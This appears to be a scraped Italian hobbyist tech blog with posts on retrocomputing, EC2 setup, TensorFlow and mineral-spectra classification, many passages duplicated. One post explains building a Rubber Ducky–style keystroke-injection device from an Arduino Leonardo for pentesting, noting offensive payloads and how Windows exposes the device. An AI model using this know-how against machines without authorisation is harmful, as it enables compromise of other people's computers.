Era circa la meta' degli anni 90 quando si iniziava a sentire parlare di Linux ma io non potevo provarlo perche' usavo ancora un Olivetti M24 con processore 8086 mentre Linux ha sempre richiesto un processore minimo della classe 386.
A distanza di cosi' tanti anni ho scoperto che esiste un progetto, peraltro datato 1995, per usare un sottoinsieme del kernel Linux su processori 8086. Questo progetto si chiama Elks e non potevo fare a meno di provarlo (la sigla sta per Embeddable Linux Kernel Subset). Le FAQ in italiano si trovano qui qui e qui
Ho iniziato cercando di compilare tutto dai sorgenti ma ho avuto un bel po' di problemi anche seguendo pedissequamente le istruzioni...per scoprire che esistono delle immagini floppy gia' pronte
Non volendo tirare fuori dalla mia collezione un vero PC XT 8086 e' possibile provare ELKS in DOSEMU. Basta andare in /etc/dosemu/dosemu.conf ed indicare nel parametro $_vbootfloppy come immagine disco la path per esempio full3 ed avviare con
dosemu -A
venerdì 16 marzo 2018
giovedì 15 marzo 2018
Rubber Duck clone con Arduino Leonardo
Rubber Ducky e' un dispositivo di Hak5 che permette di effettuare penetration testing su macchine a cui si ha accesso fisico. In pratica si tratta di un dispositivo che viene visto dal computer come una tastiera e che invia caratteri tastiera da uno script predefinito come se fosse un utente umano. Lo script puo' essere configurato in modo da compromettere il terminale.
Qualcosa di simile e' BadUSB anche se in questo caso si prende una chiavetta di memoria USB che agisce come tastiera ma mantiene anche le sue caratteristiche di espansione di memoria.
E' possibile fare qualcosa di simile anche con una Arduino Leonardo dato che anche questa scheda ha una funzionalita' di tastiera. Io ho acquistato un mini clone di Arduino Leonardo
La scheda originale viene programmata mediante un suo linguaggio di scripting ed a questo link sono disponibili vari payload (sia innocui che offensivi)
Per convertire i payload da Rubber Ducky a Arduino Leonardo si puo' usare il comodo servizio online https://nurrl.github.io/Duckuino/.
Attenzione : gli script sono sia funzione del sistema operativo che del layout della tastiera
Dal sito viene scaricato un file .zip con lo script .ino e Keyboard.h e Keyboard.cpp...non si tratta della libreria Keyboard di Arduino...nel file Keyboard.cpp si trova la configurazione del layout di tastiera desiderato (per esempio US od IT)
Per compilare lo sketch su Linux ho dovuto modificare il file Keyboard.h eliminando la riga
#include "HID.h"
inoltre il comando dell'esempio Hello World
Keyboard.press("r");
deve essere modificato in (il carattere e' incluso in apici singoli, la stringa in apici doppi)
Keyboard.press('r');
Un po' di note
1) Una volta caricato il payload questo viene mandato subito in esecuzione. In caso di payload malevolo puo' compromettere anche la macchina di sviluppo.Per questo motivo e' fortemente consigliato di inserire un delay nell'avvio del payload in modo da dare il tempo di disinserire la chiavetta.
2) Su Linux e Mac funziona tutto magnificamente ed in modo trasparente. Se si connette la schedina ad un computer Windows e si tenta di usare un payload malevole la cosa sara' molto meno trasparente perche' Windows si accorge che oltre all'interfaccia HID trova anche due dispositivi Arduino e tenta di scaricare i driver da Internet. Per evitare questa cosa ci sarebbe da pasticciare sui files boards.txt and USBDescriptor.h di Arduino IDE ma al momento non ho tempo di provarci
Qualcosa di simile e' BadUSB anche se in questo caso si prende una chiavetta di memoria USB che agisce come tastiera ma mantiene anche le sue caratteristiche di espansione di memoria.
| Esempio di script automatico in esecuzione su Ubuntu Keyboard US Layout |
E' possibile fare qualcosa di simile anche con una Arduino Leonardo dato che anche questa scheda ha una funzionalita' di tastiera. Io ho acquistato un mini clone di Arduino Leonardo
La scheda originale viene programmata mediante un suo linguaggio di scripting ed a questo link sono disponibili vari payload (sia innocui che offensivi)
Per convertire i payload da Rubber Ducky a Arduino Leonardo si puo' usare il comodo servizio online https://nurrl.github.io/Duckuino/.
Attenzione : gli script sono sia funzione del sistema operativo che del layout della tastiera
Dal sito viene scaricato un file .zip con lo script .ino e Keyboard.h e Keyboard.cpp...non si tratta della libreria Keyboard di Arduino...nel file Keyboard.cpp si trova la configurazione del layout di tastiera desiderato (per esempio US od IT)
Per compilare lo sketch su Linux ho dovuto modificare il file Keyboard.h eliminando la riga
#include "HID.h"
inoltre il comando dell'esempio Hello World
Keyboard.press("r");
deve essere modificato in (il carattere e' incluso in apici singoli, la stringa in apici doppi)
Keyboard.press('r');
Un po' di note
1) Una volta caricato il payload questo viene mandato subito in esecuzione. In caso di payload malevolo puo' compromettere anche la macchina di sviluppo.Per questo motivo e' fortemente consigliato di inserire un delay nell'avvio del payload in modo da dare il tempo di disinserire la chiavetta.
2) Su Linux e Mac funziona tutto magnificamente ed in modo trasparente. Se si connette la schedina ad un computer Windows e si tenta di usare un payload malevole la cosa sara' molto meno trasparente perche' Windows si accorge che oltre all'interfaccia HID trova anche due dispositivi Arduino e tenta di scaricare i driver da Internet. Per evitare questa cosa ci sarebbe da pasticciare sui files boards.txt and USBDescriptor.h di Arduino IDE ma al momento non ho tempo di provarci
lunedì 12 marzo 2018
Programmare HP 95LX
In questo post avevo mostrato un esempio di retrocomputing, un HP 95 LX pocket computer MS-DOS 8088 compatibile.
Come indicato nella memoria e' disponibile solo COMMAND.COM e non ci sono comandi MS-DOS esterni quindi nemmeno EDLIN od altri editor piu' complessi e non era disponibile nemmeno un compilatore (tipo GW-Basic).....il problema e' che volevo provare a farci girare un mio programma.
Il problema di non avere un editor e' stato risolto con il comando interno DOS
COPY CON nome_file
Dopo aver dato invio tutti gli input da tastiera vengono inviati al file. Per terminare CTRL+Z ed Invio
Per creare un programma eseguibile si puo' usare COPY CON ed inputare codici in linguaggio macchina. Per esempio si prende un semplice programma Assembler
org 0x100 ; .com files always start 256 bytes into the segment
; int 21h is going to want...
mov dx, msg ; the address of or message in dx
mov ah, 9 ; ah=9 - "print string" sub-function
int 0x21 ; call dos services
mov dl, 0x0d ; put CR into dl
mov ah, 2 ; ah=2 - "print character" sub-function
int 0x21 ; call dos services
mov dl, 0x0 ; put LF into dl
mov ah, 2 ; ah=2 - "print character" sub-function
int 0x21 ; call dos services
mov ah, 0x4c ; "terminate program" sub-function
int 0x21 ; call dos services
![]() |
| In questa foto si vede il programma funzionare ma per un errore sul puntatore di fine stringa viene mostrato anche il contenuto della memoria....una cosa che succedeva in ASM su MS-DOS |
Come indicato nella memoria e' disponibile solo COMMAND.COM e non ci sono comandi MS-DOS esterni quindi nemmeno EDLIN od altri editor piu' complessi e non era disponibile nemmeno un compilatore (tipo GW-Basic).....il problema e' che volevo provare a farci girare un mio programma.
Il problema di non avere un editor e' stato risolto con il comando interno DOS
COPY CON nome_file
Dopo aver dato invio tutti gli input da tastiera vengono inviati al file. Per terminare CTRL+Z ed Invio
Per creare un programma eseguibile si puo' usare COPY CON ed inputare codici in linguaggio macchina. Per esempio si prende un semplice programma Assembler
org 0x100 ; .com files always start 256 bytes into the segment
; int 21h is going to want...
mov dx, msg ; the address of or message in dx
mov ah, 9 ; ah=9 - "print string" sub-function
int 0x21 ; call dos services
mov dl, 0x0d ; put CR into dl
mov ah, 2 ; ah=2 - "print character" sub-function
int 0x21 ; call dos services
mov dl, 0x0 ; put LF into dl
mov ah, 2 ; ah=2 - "print character" sub-function
int 0x21 ; call dos services
mov ah, 0x4c ; "terminate program" sub-function
int 0x21 ; call dos services
Lo si compila su una macchina ospite e con un editor esadecimale si legge il risultato che e' qualcosa del tipo
Fino a qui la cosa potrebbe anche funzionare ma ci si ferma subito perche' si vede che alcuni codici non sono presenti sulla tastiera...come fare l'input di tali codici?? Mi sono ricordato che ai tempi del Turbo Pascal 5.0 su M24 per fare le parentesi graffe (non presenti sulla tastiera italiana) all'epoca usavo la conbinazione ALT+123.
Cosi convertendo in decimale l'output esadecimale del compilatore e digitando ognuno dei numeri seguenti preceduti da ALT ed usando COPY CON si puo' creare un file .COM eseguibile
--------------------------------------------------------
186
23
1
180
9
205
33
178
13
180
2
205
33
178
5
180
2
205
33
180
76
205
33
76
117
99
97
36
--------------------------------------------------------
complicato ma funzionante
venerdì 9 marzo 2018
HP 95LX
Un pocket computer primi anni 90 della HP (compresa calcolatrice HP!) del 1991.
Il dispositivo e' perfettamente funzionante e funziona con due semplici pile AA.
E' interessante che e' un dispositivo con un processore NEC V20 compatibile 8088 che permette l'esecuzione di MSDOS e delle relative applicazioni (l'unico limite e' lo schermo) con 512 Kb di memoria
La versione MS DOS installata e' la 3.22 ma c'e' solo COMMAND.COM. Non sono presenti i comandi esterni del DOS . Per uscire dalla modalita' DOS digitare EXIT
Unica pecca... non c'e' il compilatore integrato
Il dispositivo e' perfettamente funzionante e funziona con due semplici pile AA.
E' interessante che e' un dispositivo con un processore NEC V20 compatibile 8088 che permette l'esecuzione di MSDOS e delle relative applicazioni (l'unico limite e' lo schermo) con 512 Kb di memoria
![]() |
| MS DOS 3.22 in esecuzione |
![]() |
| Gioco Tiger e Fox (TF.COM) |
![]() |
| File Manager |
![]() |
| Impostazioni. Digitare CONFIG |
Luna Vs Andromeda
....and the winner is...Andromeda
Spiegazione : leggendo il libro on line di Paolo Attivissimo al punto 7.6 si trova la seguente frase
"Per esempio, la galassia di Andromeda, nonostante stia a ben due milioni di anni luce (19 milioni di milioni di milioni di chilometri) dalla Terra, nel cielo notturno appare più grande della Luna piena"
la frase mi ha lasciato un po' perplesso perche' e' abbastanza contraria all'esperienza diretta osservando ad occhio nudo il cielo...ho quindi chiesto informazioni a chi piu' esperto di me e nei commenti mi e' stato confermato che la Luna sottende circa mezzo grado mentre Andromeda ben tre gradi..Andromeda ha quindi una dimensione apparente di circa 6 volte piu' grande della Luna piena.
Cio' che inganna l'occhio e' che la luminosita' di Andromeda scende rapidamente verso la periferia della galassia, cosa che non accade ovviamente con la Luna
![]() |
| Confronto dimensioni tra Andromeda e Luna https://www.reddit.com/r/space/comments/339nzp/apparent_size_of_the_moon_and_andromeda_in_our/ |
Spiegazione : leggendo il libro on line di Paolo Attivissimo al punto 7.6 si trova la seguente frase
"Per esempio, la galassia di Andromeda, nonostante stia a ben due milioni di anni luce (19 milioni di milioni di milioni di chilometri) dalla Terra, nel cielo notturno appare più grande della Luna piena"
la frase mi ha lasciato un po' perplesso perche' e' abbastanza contraria all'esperienza diretta osservando ad occhio nudo il cielo...ho quindi chiesto informazioni a chi piu' esperto di me e nei commenti mi e' stato confermato che la Luna sottende circa mezzo grado mentre Andromeda ben tre gradi..Andromeda ha quindi una dimensione apparente di circa 6 volte piu' grande della Luna piena.
Cio' che inganna l'occhio e' che la luminosita' di Andromeda scende rapidamente verso la periferia della galassia, cosa che non accade ovviamente con la Luna
giovedì 8 marzo 2018
Testing EC2 Amazon
Note dopo il primo utilizzo
1) la macchina e' visibile solo in una Region ed e' quella in cui e' stata creata. Per esempio
ieri avevo creato una macchina in eu-west-3c (Paris) mentre oggi mi sono collegato alla console di EC2 nella Region eu-central-1 (Francoforte). La macchina era raggiungibile sia via SSH che HTTP quindi era viva, semplicemente non era visibile nella web console. E' stato sufficiente settare la giusta Regione per farla riapparire (il controllo e' in alto a destra vicino all'account)
2) si possono creare anche piu' istanze (per esempio una Linux ed una Windows). Il problema e' che l'istanza Linux ha di base 8 Giga di spazio disco mente quella Windows 30 Giga. Se si attivano entrambe si sfora il limite di 30 Giga di spazio disco gratuito. Inoltre il livello gratuito consente un tempo di uso di 750 ore che corrisponde ad un mese 24x7. Se si usano due macchine il tempo si dimezza..si possono tenere accese in contemporanea solo per 15 giorni senza pagare.
-------------------------------------------------------------------------------
Questi sono i passi per configurare la propria macchina ..non tutte le opzioni (AMI = Amazon Machine Image) sono comprese per la prova gratuita. Io sono partito con una Red Hat Enterprise 7.4.
L'istanza di base e' una t2.micro
Il passo 2 e' obbligato perche' c'e' una sola scelta per il livello gratuito
la macchina viene configurata con tutte le porte chiuse. Si deve quindi abilitare esplicitamente la porta 22 per l'amministrazione SSH
Per collegarsi in SSH non viene usato usato il sistema user/pass ma la chiave privata. Si deve quindi creare una coppia di chiavi e scaricarla sul proprio client
alla fine si lancia l'istanza per far partire la macchina
Dalla consolle di amministrazione di EC2 si puo' vedere lo stato della macchina, il suo indirizzo DNS pubblico, il suo IP
queste informazioni sono necessarie per collegarsi in SSH
Da Linux e Mac la sintassi e' la seguente (AmazonEC2.pem e' il nome del file della mia chiave, ec2-user e' l'utente di default sulle macchine RedHat, alla fine si mette il nome DNS pubblico o l'indirizzo pubblico)
Attenzione : si devono modificare i permessi del file .pem con chmod 400 AmazonEC2.pem
i comandi di root sono eseguiti usando sempre sudo. Una curiosita'...non c'e' la history sulla linea di comando di bash
Per la connessione con SFTP si puo' usare Filezilla impostandolo con l'accesso tramite File Chiave
Per connettersi in SSH da Putty si deve convertire la chiave in formato .pem in formato .ppk utilizzando PuttyGen e Load il file .pem e Save Private Key.
Il file nuovamente generato si inserisce in Connection\Auth e poi si stabilisce la connessione come di norma mettendo nell'host la combinazione ec2-user@xxxxxxxxxx.eu-west-3.compute.amazonaws.com
A questo punto si procede con la configurazione come di norma
Una volta installato ed avviato il server http si deve aprire la porta 80 per l'accesso dall'esterno
per finire si deve rendere scrivibile dall'utente la directory del webserver per le modifiche
sudo usermod -a -G apache ec2-user
sudo chown -R ec2-user:apache /var/www
sudo chmod 2775 /var/www
find /var/www -type d -exec sudo chmod 2775 {} \;
find /var/www -type f -exec sudo chmod 0664 {} \;
1) la macchina e' visibile solo in una Region ed e' quella in cui e' stata creata. Per esempio
ieri avevo creato una macchina in eu-west-3c (Paris) mentre oggi mi sono collegato alla console di EC2 nella Region eu-central-1 (Francoforte). La macchina era raggiungibile sia via SSH che HTTP quindi era viva, semplicemente non era visibile nella web console. E' stato sufficiente settare la giusta Regione per farla riapparire (il controllo e' in alto a destra vicino all'account)
2) si possono creare anche piu' istanze (per esempio una Linux ed una Windows). Il problema e' che l'istanza Linux ha di base 8 Giga di spazio disco mente quella Windows 30 Giga. Se si attivano entrambe si sfora il limite di 30 Giga di spazio disco gratuito. Inoltre il livello gratuito consente un tempo di uso di 750 ore che corrisponde ad un mese 24x7. Se si usano due macchine il tempo si dimezza..si possono tenere accese in contemporanea solo per 15 giorni senza pagare.
-------------------------------------------------------------------------------
Questi sono i passi per configurare la propria macchina ..non tutte le opzioni (AMI = Amazon Machine Image) sono comprese per la prova gratuita. Io sono partito con una Red Hat Enterprise 7.4.
L'istanza di base e' una t2.micro
Il passo 2 e' obbligato perche' c'e' una sola scelta per il livello gratuito
la macchina viene configurata con tutte le porte chiuse. Si deve quindi abilitare esplicitamente la porta 22 per l'amministrazione SSH
La dimensione di default del disco e' di 10 Gb
Per collegarsi in SSH non viene usato usato il sistema user/pass ma la chiave privata. Si deve quindi creare una coppia di chiavi e scaricarla sul proprio client
alla fine si lancia l'istanza per far partire la macchina
Dalla consolle di amministrazione di EC2 si puo' vedere lo stato della macchina, il suo indirizzo DNS pubblico, il suo IP
queste informazioni sono necessarie per collegarsi in SSH
Da Linux e Mac la sintassi e' la seguente (AmazonEC2.pem e' il nome del file della mia chiave, ec2-user e' l'utente di default sulle macchine RedHat, alla fine si mette il nome DNS pubblico o l'indirizzo pubblico)
Attenzione : si devono modificare i permessi del file .pem con chmod 400 AmazonEC2.pem
ssh -i AmazonEC2.pem ec2-user@xxxxxxxxxx.eu-west-3.compute.amazonaws.com
i comandi di root sono eseguiti usando sempre sudo. Una curiosita'...non c'e' la history sulla linea di comando di bash
Per la connessione con SFTP si puo' usare Filezilla impostandolo con l'accesso tramite File Chiave
Per connettersi in SSH da Putty si deve convertire la chiave in formato .pem in formato .ppk utilizzando PuttyGen e Load il file .pem e Save Private Key.
Il file nuovamente generato si inserisce in Connection\Auth e poi si stabilisce la connessione come di norma mettendo nell'host la combinazione ec2-user@xxxxxxxxxx.eu-west-3.compute.amazonaws.com
A questo punto si procede con la configurazione come di norma
sudo yum update
sudo yum install httpd
sudo apachectl start
sudo apachectl status
* httpd.service - The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; vendor preset: disabled)
Active: active (running) since Thu 2018-03-08 16:52:51 UTC; 57s ago
Docs: man:httpd(8)
man:apachectl(8)
Main PID: 3406 (httpd)
Status: "Total requests: 0; Current requests/sec: 0; Current traffic: 0 B/sec"
CGroup: /system.slice/httpd.service
|-3406 /usr/sbin/httpd -DFOREGROUND
|-3407 /usr/sbin/httpd -DFOREGROUND
|-3408 /usr/sbin/httpd -DFOREGROUND
|-3409 /usr/sbin/httpd -DFOREGROUND
|-3410 /usr/sbin/httpd -DFOREGROUND
`-3411 /usr/sbin/httpd -DFOREGROUND
Una volta installato ed avviato il server http si deve aprire la porta 80 per l'accesso dall'esterno
ed alla fine il server httpd e' raggiungibile dall'esterno
sudo usermod -a -G apache ec2-user
sudo chown -R ec2-user:apache /var/www
sudo chmod 2775 /var/www
find /var/www -type d -exec sudo chmod 2775 {} \;
find /var/www -type f -exec sudo chmod 0664 {} \;
attenzione : di default non e' abilitato il supporto https
mercoledì 7 marzo 2018
Mandelbrot con TensorFlow
Questo esempio del calcolo dell'insieme di Mandelbrot e' compreso all'interno del tutorial di TensorFlow. Lo scopo di questo post e' di capire come e' stato inserito il calcolo ricorsivo nella logica di TensorFlow tutta indirizzata all'utilizzo di matrici
Una osservazione : stranamente il calcolo e' molto lento. Credo che il problema sia dovuto alla logica con cui e' fatto il calcolo..invece di uscire dal ciclo di calcolo per ogni punto una volta che si e' raggiunta la soglia di fuga, con questo programma il calcolo viene rieffettuato su tutta la matrice per 200 volte
La logica: invece di effettuare il calcolo usando una matrice e a celle singole
-----------------------------
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt
#MANDELBROT SET 520x600
# crea due array di 520x600 -1.3<X<1.3 -2<Y<1
# a passo 0.005
Y, X = np.mgrid[-1.3:1.3:0.005, -2:1:0.005]
#Crea una array di numeri complessi Z moltiplicando Y per sqrt(-1) (che in
#in numpy e' j
Z = X+1j*Y
#trasforma l'array Z in un formato tensorflow
c = tf.constant(Z.astype("complex64"))
# popola la variabile zs con x
zs = tf.Variable(c)
# popola la variabile ns con tutti gli elementi a zero
# e delle dimensioni di c, qui ci sara' il risultato del
# della divergenza
ns = tf.Variable(tf.zeros_like(c, "float32"))
#qui viene impiegata una sessione interattiva ma si puo' sostituire il comando con
# tf.Session()
# tanto non e' necessario il debug
sess = tf.InteractiveSession()
tf.initialize_all_variables().run()
# Compute the new values of z: z^2 + x
#zs_ e' una variabile transitoria su
#cui viene calcolata la ricorsione
zs_ = zs*zs + c
# se il modulo di zs e' minore di 4
# salvalo nella matrice not_diverged
# nella matrice not_diverged viene salvato
# il valore boolean della condizione <4
# quindi nella matrice not_diverged ci sono
# 0 ed 1
not_diverged = tf.abs(zs_) < 4
#tf.group raggruppa piu' operazioni
#copia la matrice transitoria zs_ su zs per continuare
# l'iterazione
# aggiunge poi alla matrice inizializzata tutta a zeri (ns)
# il contenuto della matrice dei punti che non hanno fatto
# modulo > 4. In questo modo viene creata una mappa
#di quanti cicli su ogni cella sono necessari
step = tf.group(
zs.assign(zs_),
ns.assign_add(tf.cast(not_diverged, "float32"))
)
#200 cicli di iterazione della sessione
for i in range(200): step.run()
#mosta la matrice ns come immagine
plt.imshow(ns.eval())
plt.show()
Una osservazione : stranamente il calcolo e' molto lento. Credo che il problema sia dovuto alla logica con cui e' fatto il calcolo..invece di uscire dal ciclo di calcolo per ogni punto una volta che si e' raggiunta la soglia di fuga, con questo programma il calcolo viene rieffettuato su tutta la matrice per 200 volte
La logica: invece di effettuare il calcolo usando una matrice e a celle singole
-----------------------------
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt
#MANDELBROT SET 520x600
# crea due array di 520x600 -1.3<X<1.3 -2<Y<1
# a passo 0.005
Y, X = np.mgrid[-1.3:1.3:0.005, -2:1:0.005]
#Crea una array di numeri complessi Z moltiplicando Y per sqrt(-1) (che in
#in numpy e' j
Z = X+1j*Y
#trasforma l'array Z in un formato tensorflow
c = tf.constant(Z.astype("complex64"))
# popola la variabile zs con x
zs = tf.Variable(c)
# popola la variabile ns con tutti gli elementi a zero
# e delle dimensioni di c, qui ci sara' il risultato del
# della divergenza
ns = tf.Variable(tf.zeros_like(c, "float32"))
#qui viene impiegata una sessione interattiva ma si puo' sostituire il comando con
# tf.Session()
# tanto non e' necessario il debug
sess = tf.InteractiveSession()
tf.initialize_all_variables().run()
# Compute the new values of z: z^2 + x
#zs_ e' una variabile transitoria su
#cui viene calcolata la ricorsione
zs_ = zs*zs + c
# se il modulo di zs e' minore di 4
# salvalo nella matrice not_diverged
# nella matrice not_diverged viene salvato
# il valore boolean della condizione <4
# quindi nella matrice not_diverged ci sono
# 0 ed 1
not_diverged = tf.abs(zs_) < 4
#tf.group raggruppa piu' operazioni
#copia la matrice transitoria zs_ su zs per continuare
# l'iterazione
# aggiunge poi alla matrice inizializzata tutta a zeri (ns)
# il contenuto della matrice dei punti che non hanno fatto
# modulo > 4. In questo modo viene creata una mappa
#di quanti cicli su ogni cella sono necessari
step = tf.group(
zs.assign(zs_),
ns.assign_add(tf.cast(not_diverged, "float32"))
)
#200 cicli di iterazione della sessione
for i in range(200): step.run()
#mosta la matrice ns come immagine
plt.imshow(ns.eval())
plt.show()
Vacanze sul Sole
E dopo aver prenotato un posto sulla missione Insight per Marte adesso destinazione Sole con Parker Solar Probe .. devo informarmi un po' sulle date di partenza o se c'e' un taxi tra il Sole e Marte
domenica 4 marzo 2018
Supervised Classification USGS Spectral Library
Dopo aver letto le note introduttive di TensorFlow (l'insieme di librerie di Machine Learning di Google) ed in particolar modo l'esempio sulla classificazione degli Iris sulla base di elementi morfologici mi e' venuta la domanda se il metodo era applicabile anche al telerilevamento iperspettrale, oggetto della mia tesi di dottorato.
Il problema a questo punto era prima di tutto trovare una base dati di training il piu' possibile popolata di elementi (in dottorato ho fatto collezione di spettri ma non organizzate in modo tale da essere utili allo scopo) e la scelta e' caduta su USGS Spectral Libray (gia' usata qui) in particolare per la sezione degli spettri del satellite Hyperion, oramai dismesso ma che e' stato anche lui oggetto di parte della tesi
Visto che a lavoro mi sto occupando in questi di minerali della famiglia dell'asbesto (http://debiaonoldcomputers.blogspot.it/2018/02/actinolite-e-tremolite-ad-impruneta.html) ho provato ad estrarre gli spettri di actinolite, tremolite e serpentino.
In totale il dataset, costituito dalle 3 classi, e' da 23 campioni da 234 bande (nel database gli spettri sono in numero maggiore ma sono stati scelti solo quelli che avevano un campionamento omogeneo)
Gli spettri sono stati tutti normalizzati prima di entrare nel file del dataset.
Si poteva a questo punto si fare l'analisi con le sole componenti principali (PCA analysis) per rendere il dataset piu' piccolo eliminando tutti i dati autocorrelati oppure dare in pasto all'algoritmo tutto lo spettro; ho provato con la seconda strada per vedere come si comportava il codice di calcolo
Nel dettaglio sono stati scelti
Actinolite
s07HYPRN_Actinolite_HS22.1B_ASDFRb_AREF
s07HYPRN_Actinolite_HS22.2B_ASDFRb_AREF
s07HYPRN_Actinolite_HS22.3B_ASDFRb_AREF
s07HYPRN_Actinolite_HS22.4B_ASDFRb_AREF
s07HYPRN_Actinolite_HS116.1B_ASDFRb_AREF
s07HYPRN_Actinolite_HS116.2B_ASDFRb_AREF
s07HYPRN_Actinolite_HS116.3B_ASDFRb_AREF
s07HYPRN_Actinolite_HS116.4B_ASDFRb_AREF
s07HYPRN_Actinolite_HS315.1B_ASDFRb_AREF
s07HYPRN_Actinolite_HS315.2B_ASDFRb_AREF
Tremolite
s07HYPRN_Tremolite_HS18.1B_ASDFRc_AREF
s07HYPRN_Tremolite_HS18.2B_ASDFRc_AREF
s07HYPRN_Tremolite_HS18.3_BECKc_AREF
s07HYPRN_Tremolite_HS18.3B_ASDFRc_AREF
s07HYPRN_Tremolite_HS18.3B_NIC4ccc_RREF
s07HYPRN_Tremolite_HS18.4B_ASDFRc_AREF
s07HYPRN_Tremolite_NMNH117611.HCl_BECKb_AREF
s07HYPRN_Tremolite_NMNH117611.HCL_NIC4bb_RREF
Serpentino
s07HYPRN_Serpentine_HS8.2B_ASDFRc_AREF
s07HYPRN_Serpentine_HS8.3B_ASDFRc_AREF
s07HYPRN_Serpentine_HS8.3B_BECKc_AREF
s07HYPRN_Serpentine_HS8.4B_ASDFRc_AREF
s07HYPRN_Serpentine_HS8.6_ASDFRc_AREF
s07HYPRN_Serpentine_HS318.1B_ASDFRc_AREF
s07HYPRN_Serpentine_HS318.2B_ASDFRc_AREF
s07HYPRN_Serpentine_HS318.3B_ASDFRc_AREF
s07HYPRN_Serpentine_HS318.4B_ASDFRc_AREF
s07HYPRN_Serpentine_HS318.4B_BECKc_AREF
s07HYPRN_Serpentine_HS318.6_ASDFRc_AREF
Ho provato ad usare TensorFlow per il calcolo ma mi e' decisamente ostico. Ho trovato che l'analisi del dataset Iris era stato trattato in questo post trattato con la libreria SkLearn, con associate le librerie esterne Pandas e NumPy. I data sono tutti contenuti in un file, sia il training che il test dataset; il dataset sara' diviso in due dalla funzione train_test_split (in questo caso su 23 campioni viene scelto il 20% dei dati come parte di test del modello)
La prima riga del file all_data.txt e' costituito da un header con i nome delle 234 bande e un campo finale del nome (quindi la tabella e' di 235x24 celle)
-----------------------------------------
import pandas as pd
import numpy as np
dataset = pd.read_csv("all_data.txt")
X = dataset.iloc[:,:233].values
y = dataset['classe'].values
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20, random_state = 82)
Il problema a questo punto era prima di tutto trovare una base dati di training il piu' possibile popolata di elementi (in dottorato ho fatto collezione di spettri ma non organizzate in modo tale da essere utili allo scopo) e la scelta e' caduta su USGS Spectral Libray (gia' usata qui) in particolare per la sezione degli spettri del satellite Hyperion, oramai dismesso ma che e' stato anche lui oggetto di parte della tesi
Visto che a lavoro mi sto occupando in questi di minerali della famiglia dell'asbesto (http://debiaonoldcomputers.blogspot.it/2018/02/actinolite-e-tremolite-ad-impruneta.html) ho provato ad estrarre gli spettri di actinolite, tremolite e serpentino.
In totale il dataset, costituito dalle 3 classi, e' da 23 campioni da 234 bande (nel database gli spettri sono in numero maggiore ma sono stati scelti solo quelli che avevano un campionamento omogeneo)
Gli spettri sono stati tutti normalizzati prima di entrare nel file del dataset.
Si poteva a questo punto si fare l'analisi con le sole componenti principali (PCA analysis) per rendere il dataset piu' piccolo eliminando tutti i dati autocorrelati oppure dare in pasto all'algoritmo tutto lo spettro; ho provato con la seconda strada per vedere come si comportava il codice di calcolo
Nel dettaglio sono stati scelti
Actinolite
s07HYPRN_Actinolite_HS22.1B_ASDFRb_AREF
s07HYPRN_Actinolite_HS22.2B_ASDFRb_AREF
s07HYPRN_Actinolite_HS22.3B_ASDFRb_AREF
s07HYPRN_Actinolite_HS22.4B_ASDFRb_AREF
s07HYPRN_Actinolite_HS116.1B_ASDFRb_AREF
s07HYPRN_Actinolite_HS116.2B_ASDFRb_AREF
s07HYPRN_Actinolite_HS116.3B_ASDFRb_AREF
s07HYPRN_Actinolite_HS116.4B_ASDFRb_AREF
s07HYPRN_Actinolite_HS315.1B_ASDFRb_AREF
s07HYPRN_Actinolite_HS315.2B_ASDFRb_AREF
Tremolite
s07HYPRN_Tremolite_HS18.1B_ASDFRc_AREF
s07HYPRN_Tremolite_HS18.2B_ASDFRc_AREF
s07HYPRN_Tremolite_HS18.3_BECKc_AREF
s07HYPRN_Tremolite_HS18.3B_ASDFRc_AREF
s07HYPRN_Tremolite_HS18.3B_NIC4ccc_RREF
s07HYPRN_Tremolite_HS18.4B_ASDFRc_AREF
s07HYPRN_Tremolite_NMNH117611.HCl_BECKb_AREF
s07HYPRN_Tremolite_NMNH117611.HCL_NIC4bb_RREF
Serpentino
s07HYPRN_Serpentine_HS8.2B_ASDFRc_AREF
s07HYPRN_Serpentine_HS8.3B_ASDFRc_AREF
s07HYPRN_Serpentine_HS8.3B_BECKc_AREF
s07HYPRN_Serpentine_HS8.4B_ASDFRc_AREF
s07HYPRN_Serpentine_HS8.6_ASDFRc_AREF
s07HYPRN_Serpentine_HS318.1B_ASDFRc_AREF
s07HYPRN_Serpentine_HS318.2B_ASDFRc_AREF
s07HYPRN_Serpentine_HS318.3B_ASDFRc_AREF
s07HYPRN_Serpentine_HS318.4B_ASDFRc_AREF
s07HYPRN_Serpentine_HS318.4B_BECKc_AREF
s07HYPRN_Serpentine_HS318.6_ASDFRc_AREF
Ho provato ad usare TensorFlow per il calcolo ma mi e' decisamente ostico. Ho trovato che l'analisi del dataset Iris era stato trattato in questo post trattato con la libreria SkLearn, con associate le librerie esterne Pandas e NumPy. I data sono tutti contenuti in un file, sia il training che il test dataset; il dataset sara' diviso in due dalla funzione train_test_split (in questo caso su 23 campioni viene scelto il 20% dei dati come parte di test del modello)
La prima riga del file all_data.txt e' costituito da un header con i nome delle 234 bande e un campo finale del nome (quindi la tabella e' di 235x24 celle)
-----------------------------------------
import pandas as pd
import numpy as np
dataset = pd.read_csv("all_data.txt")
X = dataset.iloc[:,:233].values
y = dataset['classe'].values
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20, random_state = 82)
from sklearn.preprocessing import StandardScaler
sc = StandardScaler()
X_train = sc.fit_transform(X_train)
X_test = sc.transform(X_test)
# Fitting Multiclass Logistic Classification to the Training set
from sklearn.linear_model import LogisticRegression
logisticregression = LogisticRegression()
logisticregression.fit(X_train, y_train)
LogisticRegression(C=1.0, class_weight=None, dual=False, fit_intercept=True,
intercept_scaling=1, max_iter=100, multi_class='ovr', n_jobs=1,
penalty='l2', random_state=None, solver='liblinear', tol=0.0001,
verbose=0, warm_start=False)
# Predicting the Test set results
y_pred = logisticregression.predict(X_test)
print(y_pred)
#lets see the actual and predicted value side by side
y_compare = np.vstack((y_test,y_pred)).T
#actual value on the left side and predicted value on the right hand side
#printing the top 5 values
y_compare[:5,:]
# Making the Confusion Matrix
from sklearn.metrics import confusion_matrix
cm = confusion_matrix(y_test, y_pred)
print(cm)
#finding accuracy from the confusion matrix.
a = cm.shape
corrPred = 0
falsePred = 0
for row in range(a[0]):
for c in range(a[1]):
if row == c:
corrPred +=cm[row,c]
